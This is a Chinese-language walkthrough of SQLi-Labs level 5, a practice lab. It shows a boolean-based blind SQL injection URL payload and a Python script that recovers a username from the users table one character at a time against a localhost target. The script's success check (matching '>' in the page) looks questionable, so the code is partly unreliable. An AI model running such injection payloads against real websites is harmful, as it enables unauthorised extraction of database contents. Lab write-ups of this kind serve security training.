sqli-labs第五关结论

### SQLi-Labs 第五关 解题思路

#### 利用布尔盲注获取用户名信息

在这一关中，目标是从 `users` 表中的 `username` 字段提取数据。攻击者可以利用布尔盲注技术逐个字符地猜测用户名。

为了实现这一点，可以通过比较 ASCII 值来判断每个字符是否正确。具体方法如下：

http://localhost/sqli-labs-master/Less-5/?id=1' AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))>64 --

此查询会返回不同页面内容取决于条件是否成立。如果第一个字符的 ASCII 值大于 64，则显示正常页面；否则显示错误提示[^4]。

#### 自动化脚本加速解题过程

手动测试每一个可能的字符效率低下，因此编写自动化脚本来完成这项工作是非常有帮助的。下面是一个简单的 Python 脚本示例，用于自动检测并打印出完整的用户名字符串：

import requests

base_url = "http://localhost/sqli-labs-master/Less-5/"
true_condition = ">"

def check_payload(payload):
    response = requests.get(base_url, params={"id": payload})
    return true_condition in response.text

for i in range(1, 20):  # 尝试前20个字符
    found_char = False
    
    for char_code in range(32, 127):  # 可见ASCII码范围
        payload = f"1' AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),{i},1))={char_code} --"
        
        if check_payload(payload):
            print(chr(char_code), end='', flush=True)
            found_char = True
            break
            
    if not found_char:
        break
        
print()

该脚本通过发送 HTTP 请求并将响应与预期结果对比来确定当前位上的字符是什么。一旦找到匹配项就立即停止循环进入下一位直到整个字符串被还原完毕。